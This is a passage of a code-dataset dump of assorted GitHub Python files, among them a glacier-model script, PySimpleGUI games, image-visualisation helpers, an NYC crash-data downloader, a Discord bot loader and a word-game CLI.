\"wetlands-controller\",\n \"avl-visual\",\n \"qua.local\",\n \"qua\",\n \"wetlands-controller.local\",\n \"avl-visual\",\n \"Tegas-MacBook-Pro.local\"\n]\n\ndashboard_names = [\n \"wetlands-controller\",\n \"wetlands-dashboard\"\n]\n","repo_name":"andycavatorta/wetlands","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37013402358","text":"import PISM\nimport time\n\n# The main code for a run follows:\nif __name__ == '__main__':\n context = PISM.Context()\n config = context.config\n com = context.com\n\n PISM.set_abort_on_sigint(True)\n\n PISM.verbPrintf(2, PISM.Context().com, \"SSA forward model.\\n\")\n usage = \\\n \"\"\" ssa_forward.py -i IN.nc -Mx number -My number [-o file.nc]\n or (at python prompt)\n run ssa_forward -i IN.nc -Mx number -My number [-o file.nc]\n where:\n -i IN.nc is input file in NetCDF format: contains PISM-written model state\n -Mx number of grid points in the x direction\n -My number of grid points in the y direction\n notes:\n * -i is required\n \"\"\"\n\n PISM.show_usage_check_req_opts(context.log, \"ssa_forward\", [\"-i\"], usage)\n\n input_file = config.get_string(\"input.file\")\n if len(input_file) == 0:\n import sys\n sys.exit(1)\n\n config.set_string(\"output.file_name\", \"ssa_forward.nc\")\n\n ssa_run = PISM.ssa.SSAFromInputFile(input_file)\n\n ssa_run.setup()\n\n solve_t0 = time.time()\n vel_ssa = ssa_run.solve()\n solve_t = time.time() - solve_t0\n\n PISM.verbPrintf(2, context.com, \"Solve time %g seconds.\\n\", solve_t)\n\n ssa_run.write(config.get_string(\"output.file_name\"))\n","repo_name":"pism/pism","sub_path":"examples/python/ssa_forward.py","file_name":"ssa_forward.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"18"} +{"seq_id":"12281052774","text":"import PySimpleGUI as sg\n\n\nclass TelaOceano:\n def __init__(self):\n self.__window = None\n self.init_opcoes()\n\n def tela_opcoes(self):\n self.init_opcoes()\n while True:\n event, values = self.__window.read()\n\n if event == sg.WIN_CLOSED or event == 'Cancelar':\n opcao = None\n break\n elif any(values.values()):\n opcao = next((int(key) for key, value in values.items() if value), None)\n break\n self.close()\n return opcao\n \n def close(self):\n self.__window.Close()\n \n def init_opcoes(self):\n sg.ChangeLookAndFeel('LightBlue')\n layout = [\n [sg.Text('-------- TELA OCEANO ---------', font=(\"Helvica\",25))],\n [sg.Text('Escolha sua opção', font=(\"Helvica\",15))],\n [sg.Radio('Realizar Jogada',\"RD1\", key='1')],\n [sg.Radio('Mostrar Jogadas',\"RD1\", key='2')],\n [sg.Radio('Mostrar Meu Oceano',\"RD1\", key='3')],\n [sg.Button('Confirmar'), sg.Cancel('Cancelar')]\n ]\n self.__window = sg.Window('Jogo de Batalha Naval').Layout(layout)\n\n def posiciona_navios(self):\n layout = [\n [sg.Text('---Posicionando Navios---')],\n [sg.Text('Selecione a coordenada do eixo Y', size=(25, 1)), sg.InputText(key='y')],\n [sg.Text('Selecione a coordenada do eixo X:', size=(25, 1)), sg.InputText(key='x')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Posicionamento De Embarcacoes', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n break\n\n try:\n cordenada_y = int(values['y'])\n cordenada_x = int(values['x'])\n\n if cordenada_y is None:\n raise ValueError(\"A coordenada Y não pode ser vazia.\")\n if cordenada_x is None:\n raise ValueError(\"A coordenada X não pode ser vazia.\")\n sg.popup(f\"Coordenadas selecionadas: Y={cordenada_y}, X={cordenada_x}\")\n window.close()\n return cordenada_y, cordenada_x\n \n\n except ValueError as ve:\n sg.popup_error(f\"Erro: {ve}\")\n\n window.close()\n\n def posiciona_navios_x(self):\n layout = [\n [sg.Text('---Posicionando Navios---')],\n [sg.Text('Informe as coordenadas do eixo X (separadas por espaço):', size=(40, 1)), sg.InputText(key='coordenadas')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Posicionamento De Embarcacoes', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n window.close()\n return None\n\n try:\n cordenada_x = list(map(int, values['coordenadas'].split()))\n \n if not cordenada_x:\n raise ValueError(\"A coordenada X está vazia.\")\n\n sg.popup(f\"Coordenadas X informadas: {cordenada_x}\")\n window.close()\n return cordenada_x\n\n except ValueError as ve:\n sg.popup_error(f\"ERRO: {ve}\")\n\n def posiciona_navios_y(self):\n layout = [\n [sg.Text('---Posicionando Navios---')],\n [sg.Text('Informe as coordenadas do eixo Y (separadas por espaço):', size=(40, 1)), sg.InputText(key='coordenadas')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Posicionamento De Embarcacoes', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n window.close()\n return None\n\n\n try:\n cordenada_y = list(map(int, values['coordenadas'].split()))\n \n if not cordenada_y:\n raise ValueError(\"A coordenada Y está vazia.\")\n\n sg.popup(f\"Coordenadas Y informadas: {cordenada_y}\")\n window.close()\n return cordenada_y\n\n except ValueError as ve:\n sg.popup_error(f\"ERRO: {ve}\")\n\n def jogada(self):\n layout = [\n [sg.Text('---Realizando Jogada---')],\n [sg.Text('Selecione a coordenada do eixo Y:', size=(30, 1)), sg.InputText(key='eixo_y')],\n [sg.Text('Selecione a coordenada do eixo X:', size=(30, 1)), sg.InputText(key='eixo_x')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Jogada', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n window.close()\n return None\n\n try:\n eixo_y = int(values['eixo_y'])\n eixo_x = int(values['eixo_x'])\n\n if eixo_y is None or eixo_x is None:\n raise ValueError(\"As coordenadas não podem ser vazias.\")\n \n sg.popup(f\"Coordenadas do tiro: Y={eixo_y}, X={eixo_x}\")\n window.close()\n return eixo_y, eixo_x\n\n except ValueError as ve:\n sg.popup_error(f\"Erro: {ve}\")\n\n def mostra_mensagem(self, msg):\n sg.popup(msg)\n \n def mostrar_oceano(self, tamanho, oceano):\n layout = [\n [sg.Text('---Mostrando Oceano---')]\n ]\n\n for linha in range(tamanho):\n linha_layout = []\n for coluna in range(tamanho):\n linha_layout.append(sg.Text(f'[{oceano[linha][coluna]}]', size=(5, 1), key=f'pos_{linha}_{coluna}'))\n layout.append(linha_layout)\n\n window = sg.Window('Oceano', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n break\n\n window.close()\n","repo_name":"IgorFerreira28/Batalha-Naval","sub_path":"limite/tela_oceano.py","file_name":"tela_oceano.py","file_ext":"py","file_size_in_byte":5957,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22933711017","text":"# sum of fifth powers of number's digits\n\nnum = 10\n\ntotal_sum = 0\nquantity = 0\n\nwhile True:\n num += 1\n snum = str(num)\n powers_sum = 0\n for n in snum:\n power = int(n)**5\n powers_sum += power\n if powers_sum == num:\n quantity += 1\n total_sum += num\n print(\"%d number found: %d. Total sum: %d\" % (quantity, num, total_sum))\n\n if num > 10**6:\n break\n","repo_name":"Aquarius314/Project-Euler","sub_path":"Problem30/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23148763159","text":"import matplotlib.pyplot as plt\nfrom torchvision.transforms import transforms\nimport numpy as np\nimport torch\nimport os\nfrom forward_process import *\nfrom dataset import *\nfrom sample import *\n\n\ndef visualalize_distance(output, condition, target):\n plt.figure(figsize=(11,11))\n plt.subplot(1, 3, 1).axis('off')\n plt.subplot(1, 3, 2).axis('off')\n plt.subplot(1, 3, 3).axis('off')\n\n plt.subplot(1, 3, 1)\n plt.imshow(show_tensor_image(output))\n plt.title('input image')\n \n\n plt.subplot(1, 3, 2)\n plt.imshow(show_tensor_image(condition))\n plt.title('condition image')\n\n plt.subplot(1, 3, 3)\n plt.imshow(show_tensor_image(target))\n plt.title('generated image')\n\n\n k = 0\n while os.path.exists('results/heatmap{}.png'.format(k)):\n k += 1\n plt.savefig('results/heatmap{}.png'.format(k))\n plt.close()\n\n\ndef visualize_reconstructed(input, data,s):\n fig, axs = plt.subplots(int(len(data)/5),6)\n row = 0\n col = 1\n axs[0,0].imshow(show_tensor_image(input))\n axs[0, 0].get_xaxis().set_visible(False)\n axs[0, 0].get_yaxis().set_visible(False)\n axs[0,0].set_title('input')\n for i, img in enumerate(data):\n axs[row, col].imshow(show_tensor_image(img))\n axs[row, col].get_xaxis().set_visible(False)\n axs[row, col].get_yaxis().set_visible(False)\n axs[row, col].set_title(str(i))\n col += 1\n if col == 6:\n row += 1\n col = 0\n col = 6\n row = int(len(data)/5)\n remain = col * row - len(data) -1\n for j in range(remain):\n col -= 1\n axs[row-1, col].remove()\n axs[row-1, col].get_xaxis().set_visible(False)\n axs[row-1, col].get_yaxis().set_visible(False)\n \n \n \n plt.subplots_adjust(left=0.1,\n bottom=0.1,\n right=0.9,\n top=0.9,\n wspace=0.4,\n hspace=0.4)\n k = 0\n\n while os.path.exists(f'results/reconstructed{k}{s}.png'):\n k += 1\n plt.savefig(f'results/reconstructed{k}{s}.png')\n plt.close()\n\n\n\ndef visualize(image, noisy_image, GT, pred_mask, anomaly_map, category) :\n for idx, img in enumerate(image):\n plt.figure(figsize=(11,11))\n plt.subplot(1, 2, 1).axis('off')\n plt.subplot(1, 2, 2).axis('off')\n plt.subplot(1, 2, 1)\n plt.imshow(show_tensor_image(image[idx]))\n plt.title('clear image')\n\n plt.subplot(1, 2, 2)\n\n plt.imshow(show_tensor_image(noisy_image[idx]))\n plt.title('reconstructed image')\n plt.savefig('results/{}sample{}.png'.format(category,idx))\n plt.close()\n\n plt.figure(figsize=(11,11))\n plt.subplot(1, 3, 1).axis('off')\n plt.subplot(1, 3, 2).axis('off')\n plt.subplot(1, 3, 3).axis('off')\n\n plt.subplot(1, 3, 1)\n plt.imshow(show_tensor_mask(GT[idx]))\n plt.title('ground truth')\n\n plt.subplot(1, 3, 2)\n plt.imshow(show_tensor_mask(pred_mask[idx]))\n plt.title('normal' if torch.max(pred_mask[idx]) == 0 else 'abnormal', color=\"g\" if torch.max(pred_mask[idx]) == 0 else \"r\")\n\n plt.subplot(1, 3, 3)\n plt.imshow(show_tensor_image(anomaly_map[idx]))\n plt.title('heat map')\n plt.savefig('results/{}sample{}heatmap.png'.format(category,idx))\n plt.close()\n\n\n\ndef show_tensor_image(image):\n reverse_transforms = transforms.Compose([\n transforms.Lambda(lambda t: (t + 1) / (2)),\n transforms.Lambda(lambda t: t.permute(1, 2, 0)), # CHW to HWC\n transforms.Lambda(lambda t: t * 255.),\n transforms.Lambda(lambda t: t.cpu().numpy().astype(np.uint8)),\n ])\n\n # Takes the first image of batch\n if len(image.shape) == 4:\n image = image[0, :, :, :] \n return reverse_transforms(image)\n\ndef show_tensor_mask(image):\n reverse_transforms = transforms.Compose([\n transforms.Lambda(lambda t: t.permute(1, 2, 0)), # CHW to HWC\n transforms.Lambda(lambda t: t.cpu().numpy().astype(np.int8)),\n ])\n\n # Takes the first image of batch\n if len(image.shape) == 4:\n image = image[0, :, :, :] \n return reverse_transforms(image)\n \n\n","repo_name":"arimousa/DDAD","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"} +{"seq_id":"39451553720","text":"#!/usr/bin/env python3\ndef retrieve_nyc_crashes_soda(token=None, query=None, output_file=None):\n\n \"\"\"Retrieve NYC motor vehicle crash data from NYC Open Data using the\n sodapy, the python client for the Socrata Open Data API. Returns\n data in a pandas dataframe.\n\n The default SoSQL query (https://dev.socrata.com/docs/queries/)\n is:\n\n select *\n where\n VEHICLE_TYPE_CODE1 = 'Bike' OR VEHICLE_TYPE_CODE1 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE2 = 'Bike' OR VEHICLE_TYPE_CODE2 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_3 = 'Bike' OR VEHICLE_TYPE_CODE_3 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_4 = 'Bike' OR VEHICLE_TYPE_CODE_4 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_5 = 'Bike' OR VEHICLE_TYPE_CODE_5 = 'BICYCLE'\n OR\n NUMBER_OF_CYCLIST_INJURED > 0 OR NUMBER_OF_CYCLIST_KILLED > 0\n limit 1000000\n\n Note we have to specify a very high limit because the query\n defaults to 1000 records.\n\n \"\"\"\n\n import os\n import pandas as pd\n from sodapy import Socrata\n\n\n # set up the Socrata client\n # use custom token to remove throttling):\n client = Socrata(\"data.cityofnewyork.us\", token)\n\n\n # If a custom SoSQL query is not specified, set one up to retrieve\n # records containing bike crashes. Note we have to specify a very\n # high limit because the query defaults to 1000 records\n\n if query is None:\n print(\"Using default query bicycle crash parameters\")\n query = \"\"\"\n select *\n where\n VEHICLE_TYPE_CODE1 = 'Bike' OR VEHICLE_TYPE_CODE1 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE2 = 'Bike' OR VEHICLE_TYPE_CODE2 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_3 = 'Bike' OR VEHICLE_TYPE_CODE_3 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_4 = 'Bike' OR VEHICLE_TYPE_CODE_4 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_5 = 'Bike' OR VEHICLE_TYPE_CODE_5 = 'BICYCLE'\n OR\n NUMBER_OF_CYCLIST_INJURED > 0 OR NUMBER_OF_CYCLIST_KILLED > 0\n limit 1000000\n \"\"\"\n\n\n # results returned as JSON from API / converted to Python list of\n # dictionaries by sodapy.\n results = client.get(\"h9gi-nx95\", query=query)\n\n\n # results is a list of dictionaries. each dictionary is a crash\n # Convert to pandas DataFrame\n df = pd.DataFrame.from_records(results)\n\n print(f\"Retrieved {df.shape[0]} crashes involving bicycles\")\n\n\n # sodapy goofs up a few column names\n df.rename(columns={\"vehicle_type_code1\": \"vehicle_type_code_1\",\n \"vehicle_type_code2\": \"vehicle_type_code_2\"},inplace=True)\n\n\n # remove underscores from column names\n df.columns = df.columns.str.replace('_', ' ')\n\n\n if output_file is not None:\n df.to_csv(path_or_buf = output_file, index=False)\n print(f\"Wrote file: {os.getcwd()}/{output_file}\")\n\n\n return df\n\n\n\nif __name__ == \"__main__\":\n\n import argparse\n\n my_parser = argparse.ArgumentParser(description=\"Download NPYD motor vehicle crash data\")\n\n my_parser.add_argument(\"--token\", type=str, help=\"User's token\")\n my_parser.add_argument(\"output\", type=str, help=\"Data output file name\")\n my_parser.add_argument(\"--query\", type=str, help=\"SoSQL query string\")\n\n args = my_parser.parse_args()\n\n my_token = args.token\n my_query = args.query\n outfile = args.output\n\n retrieve_nyc_crashes_soda(token=my_token, query=my_query, output_file=outfile)\n","repo_name":"mhalvers/nyc_bike_crash_analysis","sub_path":"retrieve_nyc_crashes_soda.py","file_name":"retrieve_nyc_crashes_soda.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"42609761673","text":"# -*- coding: utf-8 -*-\n\nimport asyncio\nimport logging\nimport pathlib\nimport sys\n\nfrom discord.ext import commands, tasks\n\nimport config\n\nLOG = logging.getLogger(\"bot\")\n\nstream = logging.StreamHandler(sys.stdout)\nstream.setFormatter(\n logging.Formatter(\n \"{asctime} | {levelname: <8} | {module}:{funcName}:{lineno} - {message}\", datefmt=\"%Y-%m-%d %H:%M:%S\", style=\"{\"\n )\n)\nLOG.setLevel(logging.DEBUG)\nLOG.addHandler(stream)\n\n\nclass TiledBot(commands.Bot):\n def __init__(self, **kwargs):\n super().__init__(command_prefix=commands.when_mentioned_or(\"tile \"), **kwargs)\n\n self.load_initial_cogs.start()\n\n @tasks.loop(count=1)\n async def load_initial_cogs(self):\n await self.wait_until_ready()\n\n for path in pathlib.Path(\"cogs\").glob(\"[!_]*.py\"):\n ext = f\"{path.parent}.{path.stem}\"\n\n try:\n self.load_extension(ext)\n except commands.ExtensionError:\n LOG.exception(\"Failed to load %s\", ext)\n else:\n LOG.info(\"Successfully loaded %s\", ext)\n\n async def on_ready(self):\n LOG.info(\"Bot ready\")\n\n\nif __name__ == \"__main__\":\n bot = TiledBot()\n\n loop = bot.loop\n\n try:\n loop.run_until_complete(bot.start(config.token))\n except KeyboardInterrupt:\n pass\n finally:\n LOG.info(\"Shutting down\")\n\n loop.run_until_complete(bot.close())\n\n to_cancel = list(filter(lambda x: not x.done(), set(asyncio.all_tasks(loop=loop))))\n\n LOG.info(\"Cleaning up %d task(s)\", len(to_cancel))\n LOG.debug(to_cancel)\n\n for task in to_cancel:\n task.cancel()\n\n loop.run_until_complete(\n asyncio.gather(\n *filter(lambda x: x._coro.__name__ != \"close_connection\", to_cancel), loop=loop, return_exceptions=True\n )\n )\n\n loop.run_until_complete(loop.shutdown_asyncgens())\n\n loop.stop()\n loop.close()\n\n LOG.info(\"Bot closed\")\n","repo_name":"PendragonLore/Tiled","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72482824680","text":"# -*- python -*-\nimport dataclasses\nimport logging\nimport pathlib\n\nimport appdirs\nimport jinja2\nimport monacelli_pylog_prefs.logger\nimport pkg_resources\n\nappname = \"watchmanwrapper\"\nappauthor = \"taylormonacelli\"\n\npackage = __name__.split(\".\")[0]\nTEMPLATES_PATH = pathlib.Path(pkg_resources.resource_filename(package, \"templates/\"))\n\n\n@dataclasses.dataclass\nclass Config:\n dir: str = appdirs.user_config_dir(appname, appauthor)\n path: pathlib.Path = None\n config: str = None\n\n def __post_init__(self):\n self.path = pathlib.Path(self.dir) / \"manifest.yml\"\n template_loader = jinja2.FileSystemLoader(searchpath=TEMPLATES_PATH)\n template_env = jinja2.Environment(loader=template_loader)\n TEMPLATE_FILE = \"manifest.yaml.j2\"\n template = template_env.get_template(TEMPLATE_FILE)\n outputText = template.render()\n self.config = outputText\n\n def write(self):\n pathlib.Path.mkdir(self.path.parent, parents=True, exist_ok=True)\n logging.warning(f\"creating file {self.path}\")\n self.path.write_text(self.config)\n\n\ndef main():\n monacelli_pylog_prefs.logger.setup(\n filename=f\"{pathlib.Path(__file__).stem}.log\", stream_level=logging.DEBUG\n )\n config = Config()\n if not config.path.exists():\n config.write()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"taylormonacelli/python-watchmanwrapper","sub_path":"src/watchmanwrapper/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11618285122","text":"import os\nimport pkgutil\n\n\ndef read_file(path, verbose=False):\n \"\"\"\n Read data from a file and return its contents in a string.\n :param path: str, path to file's location\n :param verbose: bool, whether to print error message\n :return: str, file's content or empty string if file not found.\n \"\"\"\n try:\n with open(path, 'r') as file:\n return file.read()\n except FileNotFoundError:\n if verbose:\n print('INCORRECT FILE PATH:', path)\n return ''\n\n\ndef write_file(data, path, append=False):\n \"\"\"\n Write information provided into file. overwrites all existing data and creates new file if necessary.\n :param data: str, information to write to file\n :param path: path to data's destination\n :param append: bool, whether to append or overwrite file\n :return: None\n \"\"\"\n mode = 'w'\n if append:\n mode = 'a'\n\n with open(path, mode) as file:\n file.write(data)\n\n\ndef copy_file(source_path, dest_path):\n \"\"\"\n Copies the content of a source file to either another arbitrary file path or to an index in the buffer.\n :param source_path: str, path to the source file\n :param dest_path: str, path to files destination\n :return: bool, success or failure\n \"\"\"\n data = read_file(source_path)\n if data:\n write_file(data, dest_path)\n return True\n\n return False\n\n\ndef get_dir_length(path):\n \"\"\"\n Gets number of files in buffer.\n :return: int, number of files in buffer directory\n \"\"\"\n return len([0 for name in os.listdir(path) if os.path.isfile(name)])\n\n\ndef get_importable_modules():\n \"\"\"\n get a list of all importable modules in current venv.\n :return: list, list of strs, each of which is the name of an importable module\n \"\"\"\n modules = []\n for pkg in pkgutil.iter_modules():\n modules.append(pkg.name)\n\n return modules\n","repo_name":"jhanreg11/monty","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24710686","text":"\"\"\"\nhttps://quera.org/problemset/35254/\nAuthor: https://github.com/smh997/\n\"\"\"\nimport math\nn = int(input())\nst = input()\ns, t = map(int, input().split())\nh = max(s, t)\nl = min(s, t)\nres = 0\nss = 0\nfor i in range(l - 1, h):\n if st[i] == 'H':\n ss += 1\n elif ss == 0:\n continue\n elif math.log2(ss) == float(math.floor(math.log2(ss))):\n res += 1\n ss = 0\n else:\n while ss:\n ss -= 2 ** (math.floor(math.log2(ss)))\n res += 1\nprint(res)","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Quera/پاکسازی.py","file_name":"پاکسازی.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"3934614928","text":"from rich.console import Console \nfrom rich.padding import Padding\nfrom rich.theme import Theme\nfrom classes.style import Style\nimport re\n\ncli_theme = Theme({\n \"header\": \"bold black on white\",\n \"correct_letter\": \"bold white frame on green\",\n \"misplaced_letter\": \"bold white frame on yellow\",\n \"wrong_letter\": \"dim frame\",\n \"error\": \"bold white on red\"\n})\nrich_style = Style.__rich_console__\n\nconsole = Console(theme=cli_theme)\n\nEXIT_WORDS = [\"6\", \"exit\", \"quit\"]\n\ndef welcome():\n welcome = Padding(\"­Ъљј ­Ъца ­Ъљј ­Ъца Welcome to Letter Lasso!­Ъца ­Ъљј ­Ъца ­Ъљј\", (1, 1), style=\"header\")\n console.print(welcome, justify=\"center\")\n\ndef menu():\n console.print(\"Choose an option: \", style=\"header\")\n print(\"1) Create new player\")\n print(\"2) Play game\")\n print(\"3) Create new puzzle\")\n print(\"4) View leaderboard\")\n print(\"5) View game rules\")\n print(\"6) Quit\")\n \ndef check_input_for_exit(input):\n check = input.lower()\n if check in EXIT_WORDS:\n exit_cli()\n\ndef register_or_find_player():\n username = input(\"Enter your username: \").strip()\n check_input_for_exit(username)\n user = Player.find_by_username(username)\n \n if (user is None \n and re.match(r\"^[A-z0-9]+$\", username)\n and 1 <= len(username) <= 8):\n new_player = Player.create(username)\n console.print(f\"Hi there, {new_player.username}!\", style=\"header\")\n select_puzzle(new_player)\n elif not re.match(r\"^[A-z0-9]+$\", username) or len(username) < 1 or len(username) > 8:\n console.print(f\"[bold white frame on red] Usernames must be between 1 and 8 characters and cannot contain special characters(@_!$^...) [/]\")\n console.print(f\"[bold white frame on red] Please try again [/]\")\n register_or_find_player()\n else:\n console.print(f\"Welcome back, {username}!\", style=\"header\")\n select_puzzle(user)\n\ndef select_puzzle(current_player):\n unplayed_puzzles = list(set(Puzzle.get_all()) - set(current_player.puzzles()))\n\n console.print(\"Which puzzle would you like to play?\", style=\"header\")\n for puzzle in unplayed_puzzles:\n print(f\"Puzzle {puzzle.id}\")\n\n selected_puzzle_id = input(\"Enter puzzle number: \") \n if re.match(r\"^[0-9]$\", selected_puzzle_id):\n selected_puzzle = Puzzle.find_by_id(int(selected_puzzle_id))\n\n if selected_puzzle in unplayed_puzzles:\n play_game(current_player, selected_puzzle, 1, [])\n elif selected_puzzle:\n console.print(\"You already played that one!\", style=\"header\")\n select_puzzle(current_player)\n else: \n console.print(\"Not a valid puzzle number\", style=\"header\")\n select_puzzle(current_player)\n else: \n console.print(\"Not a valid puzzle number\", style=\"header\")\n select_puzzle(current_player)\n\ndef view_leaderboard():\n \n console.print(\"Which leaderboard would you like to see?\", style=\"header\")\n for puzzle in Puzzle.get_all():\n print(f\"Puzzle {puzzle.id}\")\n \n selected_puzzle_id = input(\"Enter puzzle number: \")\n if re.match(r\"^[0-9]$\", selected_puzzle_id):\n selected_puzzle = Puzzle.find_by_id(int(selected_puzzle_id))\n \n if selected_puzzle:\n title = Padding(\"­Ъљј ­Ъца ­Ъљј ­Ъца Letter Lasso Leaderboard­Ъца ­Ъљј ­Ъца ­Ъљј\", (1, 1), style=\"header\")\n console.print(title, justify=\"center\")\n\n selected_puzzle.high_scores()\n else:\n console.print(\"No puzzle with that number\", style=\"header\")\n view_leaderboard()\n else:\n console.print(\"Not a valid input\", style=\"header\")\n view_leaderboard()\n\ndef game_rules():\n rules_header = Padding(\"­Ъљј ­Ъца ­Ъљј ­Ъца Laws of Letter Lasso ­Ъца ­Ъљј ­Ъца ­Ъљј\", (1, 1), style=\"header\")\n console.print(rules_header, justify=\"center\")\n print(\"\"\"\n ~ Guess a 5 letter word for each turn\n ~ Letters highlighted in yellow are correct, but misplaced\n ~ Letters highlighted in green are correct and in the right place\n ~ You have 6 chances to guess the correct word!\n \"\"\")\n \ndef create_puzzle():\n solution = input(\"Your puzzle solution, a 5-letter word: \")\n solution = solution.strip()\n check_input_for_exit(solution)\n\n if (re.match(r\"^[A-z]{5}$\", solution)\n and not Puzzle.find_by_solution(solution)):\n Puzzle.create(solution.lower())\n console.print(f\"Puzzle created for {solution}\", style=\"header\")\n else: \n console.print(\"Solution must be a 5-letter word and unique among puzzles\", style=\"header\")\n create_puzzle()\n\ndef play_game(player, puzzle, start = 1, prev_guesses = []):\n guesses = prev_guesses\n console.print(f\"[bold white frame on yellow] When a letter turns yellow it means that letter is in the solution word, but it is not in the correct spot [/]\")\n console.print(f\"[bold white frame on green] When a letter turns green it means that letter is in the solution word, and it is in the correct place [/]\")\n console.print('You can type exit at any time to leave the CLI')\n for guess_num in range(start, 7):\n new_guess = input(\"Enter your guess: \")\n new_guess = new_guess.strip()\n check_input_for_exit(new_guess)\n\n if re.match(r\"^[A-z]{5}$\", new_guess):\n guesses.append(new_guess)\n handle_guess(guesses, puzzle.solution)\n if new_guess.lower() == puzzle.solution:\n console.print(f\"[bold white on magenta] You guessed it! The word was {puzzle.solution} [/]\")\n score = 350 - (50 * guess_num)\n new_result = Result.create(player.id, puzzle.id, score, guess_num)\n console.print(f\"[bold white] Here are your results: {new_result} [/]\")\n break\n else: \n console.print(f\"[bold white on red] Each guess must be a 5-letter string. Please try again. [/]\")\n play_game(player, puzzle, guess_num, guesses)\n\n else: \n new_result = Result.create(player.id, puzzle.id, 0, guess_num)\n console.print(f\"[bold white on red] Game over! The word was {puzzle.solution} [/]\")\n\ndef handle_guess(guesses, word):\n for guess in guesses: \n styled_guess = []\n for letter, correct_letter in zip(guess, word):\n if letter == correct_letter: \n style = \"correct_letter\"\n elif letter in word: \n style = \"misplaced_letter\"\n else: \n style = \"wrong_letter\"\n styled_guess.append(f\"[{style}]{letter}[/]\")\n console.print(\"\".join(styled_guess))\n\ndef exit_cli():\n console.print(\"­Ъљј ­Ъца ­Ъљј ­Ъца Ya'll come back, ya hear!­Ъца ­Ъљј ­Ъца ­Ъљј\", style=\"header\")\n exit()\n\ndef invalid_input():\n console.print(\"That input is not valid. Type a number to select an option.\", style=\"header\")\n\nfrom classes.puzzle import Puzzle\nfrom classes.player import Player\nfrom classes.result import Result","repo_name":"jesscsommer/python-word-game","sub_path":"lib/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"10599547322","text":"#Funciónes\ndef separador():\n print(\"--------------------------------------------------------------------------------------------------------\")\nclass Coche():\n #Metodo iniciador\n def __init__(self,color,marca,modelo,combustible,puertas,motor,ruedas,ventanas,puerta):\n self.color=color\n self.marca=marca\n self.modelo=modelo\n self.combustible=combustible\n self.puertas=puertas\n self.motor=motor\n self.ruedas=ruedas\n self.ventanas=ventanas\n self.puerta=puerta\n separador()\n print(\"El carro es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,motor,ruedas,ventanas,))\n print(\"sus puertas estan\")\n print(puerta)\n separador()\n#Clase\nclass Motor():\n #Metodos\n def encendido_apagado(self,opc1):\n if opc1 == \"encender\":\n motor=\"encendido\"\n return motor\n if opc1 == \"apagar\":\n motor=\"apagado\"\n return motor \n#Clase\nclass Ruedas(Motor):\n #Metodos \n def inflar_desinflar(self,opc2):\n if opc2 == \"inflar\":\n ruedas=\"infladas\"\n return ruedas\n if opc2 == \"desinflar\":\n ruedas=\"desinfladas\"\n return ruedas\n#Clase\nclass Ventanas(Ruedas):\n #Metodos \n def abrir_cerrar_ventanas(self,opc3):\n if opc3== \"abrir\":\n ventanas=\"abiertas\"\n return ventanas \n if opc3 == \"cerrar\":\n ventanas=\"cerradas\"\n return ventanas\n#Clase\nclass Puertas(Ventanas):\n #Metodo \n def abrir_cerrar_puertas(self,opc4):\n if opc4 == \"abrir\":\n puerta=\"\"\" __---~~~~--__ __--~~~~---__\n `\\---~~~~~~~~\\\\ //~~~~~~~~---/' \n \\/~~~~~~~~~\\|| ||/~~~~~~~~~\\/ \n `\\\\ //'\n `\\\\ //'\n || || \n ______--~~~~~~~~~~~~~~~~~~--______ \n ___ // _-~ ~-_ \\\\ ___ \n `\\__)\\/~ ~\\/(__/' \n _--`-___ ___-'--_ \n /~ `\\ ~~~~~~~~------------~~~~~~~~ /' ~\\ \n /| `\\ ________ /' |\\ \n| `\\ 